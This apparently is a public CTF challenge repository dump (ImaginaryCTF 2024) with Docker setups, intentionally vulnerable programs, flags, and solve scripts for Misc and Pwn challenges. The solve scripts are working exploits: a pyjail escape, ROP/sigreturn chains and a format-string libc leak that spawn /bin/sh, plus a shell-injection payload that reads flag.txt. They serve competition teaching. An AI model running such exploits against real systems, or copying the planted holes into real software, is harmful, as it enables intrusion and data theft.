| # limitations under the License. 14 | FROM ubuntu:22.04@sha256:ac58ff7fe25edc58bdf0067ca99df00014dbd032e2246d30a722fa348fd799a5 as chroot 15 | 16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user 17 | RUN apt-get update -y; apt-get install python3 python3-pip -y 18 | COPY flag.txt /home/user/flag.txt 19 | COPY jail.py /home/user/chal 20 | RUN chmod 555 /home/user/chal 21 | 22 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb 23 | 24 | COPY --from=chroot / /chroot 25 | 26 | COPY nsjail.cfg /home/user/ 27 | 28 | CMD kctf_setup && \ 29 | kctf_drop_privs \ 30 | socat \ 31 | TCP-LISTEN:1337,reuseaddr,fork \ 32 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal" 33 | -------------------------------------------------------------------------------- /Misc/ok-nice/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{0k_n1c3_7f4d3e5a6b} 2 | -------------------------------------------------------------------------------- /Misc/ok-nice/challenge/jail.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | flag = open('flag.txt').read() 3 | 4 | print("Welcome to the jail! It is so secure I even have a flag variable!") 5 | blacklist=['0','1','2','3','4','5','6','7','8','9','_','.','=','>','<','{','}','class','global','var','local','import','exec','eval','t','set','blacklist'] 6 | while True: 7 | inp = input("Enter input: ") 8 | for i in blacklist: 9 | if i in inp: 10 | print("ok nice") 11 | exit(0) 12 | for i in inp: 13 | if (ord(i) > 125) or (ord(i) < 40) or (len(set(inp))>17): 14 | print("ok nice") 15 | exit(0) 16 | try: 17 | eval(inp,{'__builtins__':None,'ord':ord,'flag':flag}) 18 | print("ok nice") 19 | except: 20 | print("error") 21 | -------------------------------------------------------------------------------- /Misc/ok-nice/challenge/solve.py: -------------------------------------------------------------------------------- 1 | # ========================= Setup ========================= 2 | from pwn import * 3 | io = remote("34.34.58.232", 1337) 4 | def read(): 5 | (io.readuntil(b'input: ')) 6 | 7 | read() 8 | 9 | # ========================= Find length of the flag ========================= 10 | 11 | flag_len=0 12 | for i in range(5,100): 13 | io.sendline(f'ord(flag[{("True+"*i)[:-1]}])'.encode()) 14 | x=io.readline().strip() 15 | if b'nice' in x: 16 | continue 17 | if b'error' in x: 18 | flag_len=i-1 19 | print(f'Found len! len={flag_len}') 20 | break 21 | 22 | # ========================= Find the flag ========================= 23 | flag='i' # for flag[0] we would have to use False instead of True but we already know the first character. 24 | for i in range(1,flag_len): 25 | for j in range(30,130): 26 | payload=f'[{("True,"*j)[:-1]}][ord(flag[{("True+"*i)[:-1]}])]' 27 | io.sendline(payload.encode()) 28 | x = io.readline().strip() 29 | if b'error' in x: 30 | continue 31 | if b'nice' in x: 32 | flag += chr(j-1) 33 | break 34 | 35 | print(flag) 36 | -------------------------------------------------------------------------------- /Misc/sanity-check/README.md: -------------------------------------------------------------------------------- 1 | # sanity-check 2 | **Category**: Misc 3 | **Difficulty**: Easy 4 | **Author**: Board 5 | 6 | # Description 7 | Welcome to ImaginaryCTF 2024! 8 | 9 | # Distributions 10 | - `ictf{this_isnt_real}` 11 | 12 | # Solution 13 | 14 | Copy and paste the flag. 15 | 16 | -------------------------------------------------------------------------------- /Misc/sanity-check/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{this_isnt_real} 2 | -------------------------------------------------------------------------------- /Misc/starship/README.md: -------------------------------------------------------------------------------- 1 | # starship 2 | **Category**: Misc 3 | **Difficulty**: Medium 4 | **Author**: Eth007 5 | 6 | # Description 7 | 8 | We've gotten console access to the rogue ship, but there isn't much time left. Hopefully you can figure out how to destroy it... before it's too late. 9 | 10 | # Distributions 11 | - `main.py` (`gen.py` should stay secret) 12 | - nc connection 13 | 14 | # Solution 15 | 16 | - solve.py 17 | 18 | -------------------------------------------------------------------------------- /Misc/starship/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: starship 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | enabled: false 12 | image: eu.gcr.io/imaginaryctf-2023/starship-challenge:0cd2c1a74bf837f65ddd147c6d6f3b097f4110ffa26ce66485b65800bd0be6de 13 | -------------------------------------------------------------------------------- /Misc/starship/challenge/__pycache__/gen.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Misc/starship/challenge/__pycache__/gen.cpython-310.pyc -------------------------------------------------------------------------------- /Misc/starship/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{m1ssion_succ3ss_8fac91385b77b026} 2 | -------------------------------------------------------------------------------- /Misc/starship/challenge/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | conn = remote("35.204.145.12", 1337) 4 | conn.recvuntil(b"> ") 5 | 6 | def midpoint(p1, p2): 7 | p1 = list(map(int, p1.split(","))) 8 | p2 = list(map(int, p2.split(","))) 9 | return ",".join(map(str,[(i1+i2)//2 for i1, i2 in zip(p1, p2)])) 10 | 11 | def explode(pt): 12 | return list(map(int, pt.split(",")[:-1])) 13 | 14 | # get the target points 15 | conn.sendline(b"4") 16 | conn.recvuntil(b": ") 17 | a = conn.recvuntil(b" ").strip().decode() 18 | conn.recvuntil(b": ") 19 | conn.recvuntil(b": ") 20 | b = conn.recvuntil(b" ").strip().decode() 21 | 22 | info("point 1: " + str(a)) 23 | info("point 2: " + str(b)) 24 | 25 | # poison the data 26 | conn.sendline(b"42") 27 | conn.sendline((midpoint(a,b) + ",friendly").encode()) 28 | 29 | info("poison point: " + midpoint(a,b)) 30 | 31 | # train the model 32 | conn.sendline(b"2") 33 | 34 | # get the flag 35 | conn.sendline(b"4") 36 | 37 | conn.interactive() 38 | -------------------------------------------------------------------------------- /Misc/sussy/README.md: -------------------------------------------------------------------------------- 1 | # sussy 2 | **Category:** Misc 3 | **Difficulty:** Easy 4 | **Author:** csaraepb 5 | 6 | ## Description 7 | 8 | There's a discord bot in the notactf discord, and it's kind of suspicious. What are its responses hiding in plain sight? 9 | 10 | ## Distribution 11 | 12 | - http://notactf.chal.imaginaryctf.org 13 | 14 | ## Solution 15 | 16 | The !wallet command will ping an user, copy the message as text and you will see a hidden string. 17 | -------------------------------------------------------------------------------- /Misc/sussy/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{$p0!l3rsp@m!!_809129783} 2 | -------------------------------------------------------------------------------- /Misc/zable/README.md: -------------------------------------------------------------------------------- 1 | # zable 2 | **Category**: Misc 3 | **Difficulty**: Easy/Medium 4 | **Author**: puzzler7 5 | 6 | # Description 7 | 8 | There are two types of build systems - the ones people complain about, and the ones nobody uses. 9 | 10 | # Distributions 11 | - nc connection 12 | - `zable.dist.zip` - generated with `gen_dist.sh` 13 | 14 | # Solution 15 | 16 | `js_binary` generates a bash script that sets up the environment where `hello.js` runs. Part of this involves putting the environment variables in a snippet that looks like the following: 17 | 18 | ```sh 19 | EXPORT NAME="" 20 | ``` 21 | 22 | Thus, putting double quotes in your name escapes this, allowing for RCE. The name `";cat /app/flag.txt;echo "` prints the flag. 23 | 24 | -------------------------------------------------------------------------------- /Misc/zable/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: zable 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 10 8 | network: 9 | public: true 10 | healthcheck: 11 | enabled: false 12 | -------------------------------------------------------------------------------- /Misc/zable/challenge/.bazelignore: -------------------------------------------------------------------------------- 1 | node_modules -------------------------------------------------------------------------------- /Misc/zable/challenge/.npmrc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Misc/zable/challenge/.npmrc -------------------------------------------------------------------------------- /Misc/zable/challenge/BUILD: -------------------------------------------------------------------------------- 1 | load('@aspect_rules_js//js:defs.bzl', 'js_binary') 2 | load(':defs.bzl', 'get_env') 3 | 4 | get_env(name='get_env') 5 | 6 | js_binary( 7 | name = 'run', 8 | env = { 9 | 'NAME': '$(NAME)', 10 | }, 11 | toolchains = [ 12 | ':get_env', 13 | ], 14 | entry_point = 'hello.js', 15 | ) -------------------------------------------------------------------------------- /Misc/zable/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 4 | 5 | RUN DEBIAN_FRONTEND=noninteractive apt-get -y update 6 | RUN DEBIAN_FRONTEND=noninteractive apt-get -y install ncat python3 apt-transport-https curl gnupg 7 | RUN curl -fsSL https://bazel.build/bazel-release.pub.gpg | gpg --dearmor >bazel-archive-keyring.gpg 8 | RUN mv bazel-archive-keyring.gpg /usr/share/keyrings 9 | RUN echo "deb [arch=amd64 signed-by=/usr/share/keyrings/bazel-archive-keyring.gpg] https://storage.googleapis.com/bazel-apt stable jdk1.8" | tee /etc/apt/sources.list.d/bazel.list 10 | RUN DEBIAN_FRONTEND=noninteractive apt-get -y update 11 | RUN DEBIAN_FRONTEND=noninteractive apt-get -y install bazel 12 | 13 | WORKDIR /app 14 | 15 | COPY .bazelignore /app 16 | COPY .npmrc /app 17 | COPY BUILD /app 18 | COPY chall.py /app 19 | COPY defs.bzl /app 20 | COPY flag.txt /app 21 | COPY hello.js /app 22 | COPY MODULE.bazel /app 23 | COPY MODULE.bazel.lock /app 24 | COPY package.json /app 25 | COPY pnpm-lock.yaml /app 26 | COPY WORKSPACE /app 27 | COPY wrapper.sh /app 28 | 29 | RUN chmod 555 /app/* 30 | 31 | RUN mkdir -p /home/user/.cache/bazel/ 32 | RUN chmod -R 777 /home/user/.cache/bazel/ 33 | 34 | USER 1000:1000 35 | 36 | VOLUME /home 37 | 38 | CMD ncat -klvp 1337 -m 999999 -e ./wrapper.sh 39 | -------------------------------------------------------------------------------- /Misc/zable/challenge/MODULE.bazel: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Bazel now uses Bzlmod by default to manage external dependencies. 3 | # Please consider migrating your external dependencies from WORKSPACE to MODULE.bazel. 4 | # 5 | # For more details, please check https://github.com/bazelbuild/bazel/issues/18958 6 | ############################################################################### 7 | -------------------------------------------------------------------------------- /Misc/zable/challenge/WORKSPACE: -------------------------------------------------------------------------------- 1 | load("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive") 2 | 3 | http_archive( 4 | name = "aspect_rules_js", 5 | sha256 = "a723815986f3dd8b2c58d0ea76fde0ed56eed65de3212df712e631e5fc7d8790", 6 | strip_prefix = "rules_js-2.0.0-rc6", 7 | url = "https://github.com/aspect-build/rules_js/releases/download/v2.0.0-rc6/rules_js-v2.0.0-rc6.tar.gz", 8 | ) 9 | 10 | load("@aspect_rules_js//js:repositories.bzl", "rules_js_dependencies") 11 | 12 | rules_js_dependencies() 13 | 14 | load("@aspect_rules_js//js:toolchains.bzl", "DEFAULT_NODE_VERSION", "rules_js_register_toolchains") 15 | 16 | rules_js_register_toolchains(node_version = DEFAULT_NODE_VERSION) 17 | 18 | load("@aspect_rules_js//npm:repositories.bzl", "npm_translate_lock") 19 | 20 | npm_translate_lock( 21 | name = "npm", 22 | npmrc = "//:.npmrc", 23 | pnpm_lock = "//:pnpm-lock.yaml", 24 | verify_node_modules_ignored = "//:.bazelignore", 25 | ) 26 | 27 | load("@npm//:repositories.bzl", "npm_repositories") 28 | 29 | npm_repositories() -------------------------------------------------------------------------------- /Misc/zable/challenge/chall.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from subprocess import Popen 4 | 5 | name = input('Enter name: ') 6 | 7 | for c in '`$(){}': 8 | name.replace(name, '') 9 | 10 | Popen([ 11 | 'bazel', 12 | 'run', 13 | ':run', 14 | f'--action_env=NAME={name}' 15 | ], shell=False).communicate() 16 | -------------------------------------------------------------------------------- /Misc/zable/challenge/defs.bzl: -------------------------------------------------------------------------------- 1 | def _get_env_impl(ctx): 2 | return [ 3 | platform_common.TemplateVariableInfo({ 4 | "NAME": ctx.configuration.default_shell_env.get("NAME", "hacker"), 5 | }), 6 | ] 7 | 8 | get_env = rule( 9 | implementation = _get_env_impl, 10 | attrs = {}, 11 | ) -------------------------------------------------------------------------------- /Misc/zable/challenge/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.3' 2 | services: 3 | shell: 4 | build: . 5 | ports: 6 | - 1337:1337 7 | -------------------------------------------------------------------------------- /Misc/zable/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{I_supp0se_if_a_hacker_can_run_bazel_on_your_system_things_are_already_bad} 2 | -------------------------------------------------------------------------------- /Misc/zable/challenge/hello.js: -------------------------------------------------------------------------------- 1 | console.log(`Hello, ${process.env.NAME}!`) -------------------------------------------------------------------------------- /Misc/zable/challenge/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "zable", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "hello.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "", 10 | "license": "ISC", 11 | "pnpm": { 12 | "onlyBuiltDependencies": [] 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /Misc/zable/challenge/pnpm-lock.yaml: -------------------------------------------------------------------------------- 1 | lockfileVersion: '9.0' 2 | 3 | settings: 4 | autoInstallPeers: true 5 | excludeLinksFromLockfile: false 6 | 7 | importers: 8 | 9 | .: {} 10 | -------------------------------------------------------------------------------- /Misc/zable/challenge/wrapper.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | python3 -u chall.py -------------------------------------------------------------------------------- /Misc/zable/gen_dist.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | cd challenge 4 | export FLAG="`cat flag.txt`" 5 | echo "jctf{not_a_real_flag}" > flag.txt 6 | zip ../zable.dist.zip \ 7 | .bazelignore \ 8 | .npmrc \ 9 | BUILD \ 10 | chall.py \ 11 | defs.bzl \ 12 | docker-compose.yml \ 13 | Dockerfile \ 14 | flag.txt \ 15 | hello.js \ 16 | MODULE.bazel \ 17 | MODULE.bazel.lock \ 18 | package.json \ 19 | pnpm-lock.yaml \ 20 | WORKSPACE \ 21 | wrapper.sh 22 | echo ${FLAG} > flag.txt -------------------------------------------------------------------------------- /Misc/zable/zable.dist.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Misc/zable/zable.dist.zip -------------------------------------------------------------------------------- /Pwn/bopity/README.md: -------------------------------------------------------------------------------- 1 | # bopity 2 | **Category:** Pwn 3 | **Difficulty:** Medium 4 | **Author:** Eth007 5 | 6 | ## Description 7 | 8 | Just your typical ROP challenge (files and remote are the same as in ropity; you must get a shell) 9 | 10 | ## Distribution 11 | 12 | - `vuln` 13 | - nc 14 | 15 | ## Solution 16 | 17 | - solve.py 18 | -------------------------------------------------------------------------------- /Pwn/bopity/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:22.04@sha256:ac58ff7fe25edc58bdf0067ca99df00014dbd032e2246d30a722fa348fd799a5 as chroot 15 | 16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user 17 | 18 | COPY flag.txt /home/user/flag.txt 19 | COPY flag2.txt /home/user/4a96aa432513aad8.txt 20 | COPY vuln /home/user/chal 21 | RUN chmod 555 /home/user/chal 22 | 23 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb 24 | 25 | COPY --from=chroot / /chroot 26 | 27 | COPY nsjail.cfg /home/user/ 28 | 29 | CMD kctf_setup && \ 30 | kctf_drop_privs \ 31 | socat \ 32 | TCP-LISTEN:1337,reuseaddr,fork \ 33 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal" 34 | -------------------------------------------------------------------------------- /Pwn/bopity/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc vuln.c -o vuln -fno-stack-protector -no-pie -masm=intel 3 | -------------------------------------------------------------------------------- /Pwn/bopity/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{pop_rdi_L} -------------------------------------------------------------------------------- /Pwn/bopity/challenge/flag2.txt: -------------------------------------------------------------------------------- 1 | ictf{why_control_one_register_when_you_can_control_them_all} 2 | -------------------------------------------------------------------------------- /Pwn/bopity/challenge/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.binary = elf = ELF("./vuln") 4 | conn = elf.process() 5 | #gdb.attach(conn) 6 | #conn = remote("localhost", 1337) 7 | rop = ROP(elf) 8 | 9 | payload = b"a"*8 10 | payload += p64(0x404018 + 0x8) # fgets got 11 | payload += p64(0x401142) 12 | conn.sendline(payload) 13 | 14 | frame = SigreturnFrame() 15 | frame.rax = 59 16 | frame.rip = 0x401198 17 | frame.rdi = 0x404048 + 160 18 | frame.rsi = 0 19 | frame.rdx = 0 20 | frame.rsp = u64(b"/bin/sh\0") 21 | 22 | payload = b"" 23 | payload += p64(elf.sym.printfile) # goes into fgets got 24 | payload += p64(0x404038) # flag.txt 25 | payload += p64(0x401142) 26 | payload += b"flag.txt" 27 | payload += p64(0) 28 | payload += p64(0x401198) # syscall 29 | payload += bytes(frame) 30 | conn.sendline(payload) 31 | 32 | conn.interactive() 33 | -------------------------------------------------------------------------------- /Pwn/bopity/challenge/vuln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/bopity/challenge/vuln -------------------------------------------------------------------------------- /Pwn/bopity/challenge/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void main() { 5 | char buf[8]; 6 | fgets(buf, 0x100, stdin); 7 | } 8 | 9 | void printfile(char*file) { 10 | __asm__( 11 | ".intel_syntax noprefix\n" 12 | "mov rax, 2\n" 13 | "mov rsi, 0\n" 14 | "syscall\n" 15 | "mov rsi, rax\n" 16 | "mov rdi, 1\n" 17 | "mov rdx, 0\n" 18 | "mov r8, 0x100\n" 19 | "mov rax, 40\n" 20 | "syscall\n" 21 | ); 22 | } 23 | -------------------------------------------------------------------------------- /Pwn/fermat/README.md: -------------------------------------------------------------------------------- 1 | # fermat 2 | **Category:** Pwn 3 | **Difficulty:** Medium 4 | **Author:** Eth007 5 | 6 | ## Description 7 | 8 | this format string is not meant to be exploited. 9 | 10 | ## Distribution 11 | 12 | - `vuln` 13 | - `libc.so.6` 14 | - nc 15 | 16 | ## Solution 17 | 18 | - solve.py 19 | -------------------------------------------------------------------------------- /Pwn/fermat/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: fermat 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | enabled: false 12 | image: eu.gcr.io/imaginaryctf-2023/fermat-challenge:f462f214c0a91e7753286ec998bbaa82a9aae8c6922df888073328043248413e 13 | -------------------------------------------------------------------------------- /Pwn/fermat/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:22.04@sha256:ac58ff7fe25edc58bdf0067ca99df00014dbd032e2246d30a722fa348fd799a5 as chroot 15 | 16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user 17 | 18 | COPY flag.txt /home/user/flag.txt 19 | COPY vuln /home/user/chal 20 | RUN chmod 555 /home/user/chal 21 | 22 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb 23 | 24 | COPY --from=chroot / /chroot 25 | 26 | COPY nsjail.cfg /home/user/ 27 | 28 | CMD kctf_setup && \ 29 | kctf_drop_privs \ 30 | socat \ 31 | TCP-LISTEN:1337,reuseaddr,fork \ 32 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal" 33 | -------------------------------------------------------------------------------- /Pwn/fermat/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc vuln.c -o vuln -fno-stack-protector 3 | -------------------------------------------------------------------------------- /Pwn/fermat/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{im_really_out_of_format_string_ideas.} 2 | -------------------------------------------------------------------------------- /Pwn/fermat/challenge/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/fermat/challenge/libc.so.6 -------------------------------------------------------------------------------- /Pwn/fermat/challenge/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.binary = elf = ELF("./vuln") 4 | libc = ELF("./libc.so.6") 5 | conn = remote("35.204.190.192", 1337) 6 | 7 | conn.send(b"%39$p\0".ljust(264, b"a") + bytes([28])) 8 | conn.recvuntil(b"0x") 9 | 10 | libc.address = int(conn.recv(12), 16) - 0x29d1c 11 | info("libc @ " + hex(libc.address)) 12 | 13 | rop = ROP(libc) 14 | rop.raw(rop.ret) 15 | rop.system(next(libc.search(b"/bin/sh"))) 16 | 17 | conn.sendline(b"a"*264 + rop.chain()) 18 | 19 | conn.interactive() 20 | -------------------------------------------------------------------------------- /Pwn/fermat/challenge/vuln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/fermat/challenge/vuln -------------------------------------------------------------------------------- /Pwn/fermat/challenge/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | int main() { 10 | char buf[0x100]; 11 | setbuf(stdin, NULL); 12 | setbuf(stdout, NULL); 13 | read(0, buf, 0x128); 14 | assert(strstr(buf, "n") == NULL); 15 | printf(buf); 16 | } 17 | -------------------------------------------------------------------------------- /Pwn/hopper/README.md: -------------------------------------------------------------------------------- 1 | # hopper 2 | **Category:** Pwn 3 | **Difficulty:** Medium-Hard 4 | **Author:** Eth007 5 | 6 | ## Description 7 | 8 | time stands still when you're afraid 9 | 10 | ## Distribution 11 | 12 | - `vuln` 13 | - nc 14 | 15 | ## Solution 16 | 17 | - solve.py 18 | -------------------------------------------------------------------------------- /Pwn/hopper/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: hopper 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | enabled: false 12 | image: eu.gcr.io/imaginaryctf-2023/hopper-challenge:2bdeabec845a529d0a421cb1ffe963095335f95d1e27d0fb6126bfb9ded7052d 13 | -------------------------------------------------------------------------------- /Pwn/hopper/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:22.04@sha256:ac58ff7fe25edc58bdf0067ca99df00014dbd032e2246d30a722fa348fd799a5 as chroot 15 | 16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user 17 | 18 | COPY flag.txt /home/user/flag.txt 19 | COPY vuln /home/user/chal 20 | RUN chmod 555 /home/user/chal 21 | 22 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb 23 | 24 | COPY --from=chroot / /chroot 25 | 26 | COPY nsjail.cfg /home/user/ 27 | 28 | CMD kctf_setup && \ 29 | kctf_drop_privs \ 30 | socat \ 31 | TCP-LISTEN:1337,reuseaddr,fork \ 32 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal" 33 | -------------------------------------------------------------------------------- /Pwn/hopper/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | g++ vuln.cpp -o vuln 3 | -------------------------------------------------------------------------------- /Pwn/hopper/challenge/__pycache__/setcontext32.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/hopper/challenge/__pycache__/setcontext32.cpython-310.pyc -------------------------------------------------------------------------------- /Pwn/hopper/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{n0_0ne_kn0ws_h0w_deep_it_g0es_82a29e34} 2 | -------------------------------------------------------------------------------- /Pwn/hopper/challenge/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/hopper/challenge/libc.so.6 -------------------------------------------------------------------------------- /Pwn/hopper/challenge/setcontext32.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | def create_ucontext( 4 | src: int, 5 | rsp=0, 6 | rbx=0, 7 | rbp=0, 8 | r12=0, 9 | r13=0, 10 | r14=0, 11 | r15=0, 12 | rsi=0, 13 | rdi=0, 14 | rcx=0, 15 | r8=0, 16 | r9=0, 17 | rdx=0, 18 | rip=0xDEADBEEF, 19 | ) -> bytearray: 20 | b = bytearray(0x200) 21 | b[0xE0:0xE8] = p64(src) # fldenv ptr 22 | b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr 23 | 24 | b[0xA0:0xA8] = p64(rsp) 25 | b[0x80:0x88] = p64(rbx) 26 | b[0x78:0x80] = p64(rbp) 27 | b[0x48:0x50] = p64(r12) 28 | b[0x50:0x58] = p64(r13) 29 | b[0x58:0x60] = p64(r14) 30 | b[0x60:0x68] = p64(r15) 31 | 32 | b[0xA8:0xB0] = p64(rip) # ret ptr 33 | b[0x70:0x78] = p64(rsi) 34 | b[0x68:0x70] = p64(rdi) 35 | b[0x98:0xA0] = p64(rcx) 36 | b[0x28:0x30] = p64(r8) 37 | b[0x30:0x38] = p64(r9) 38 | b[0x88:0x90] = p64(rdx) 39 | 40 | return b 41 | 42 | def setcontext32(libc: ELF, **kwargs) -> (int, bytes): 43 | got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT") 44 | plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr 45 | return got, flat( 46 | p64(0), 47 | p64(got + 0x218), 48 | p64(libc.symbols["setcontext"] + 32), 49 | p64(plt_trampoline) * 0x40, 50 | create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs), 51 | ) 52 | 53 | -------------------------------------------------------------------------------- /Pwn/hopper/challenge/vuln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/hopper/challenge/vuln -------------------------------------------------------------------------------- /Pwn/ictf-band/README.md: -------------------------------------------------------------------------------- 1 | # ictf-band 2 | **Category:** PWN 3 | **Diff**: Easy-Medium 4 | **Author**: Brandy 5 | 6 | ## Description: 7 | 8 |

Did you know that our team at ImaginaryCTF has a band called ictf-band? Formed in 2024, our band consists of four talented musicians and one incredible vocalist, each highly skilled in their respective roles. 9 | 10 | Recently, we've encountered challenges in coming up with new song titles and writing lyrics. To address this, we've developed an innovative application called ictf-band, accessible to the public via Command Line Interface (CLI). This application allows users to contribute song titles and lyrics, with all responses and data being saved for our creative process. 11 | 12 | As we continue to enhance our application, we're seeking insights from cybersecurity experts to identify potential vulnerabilities. As a vulnerability researcher, your expertise in uncovering and addressing these vulnerabilities is invaluable. We're particularly interested in understanding the worst possible outcomes to ensure our application remains secure and robust.

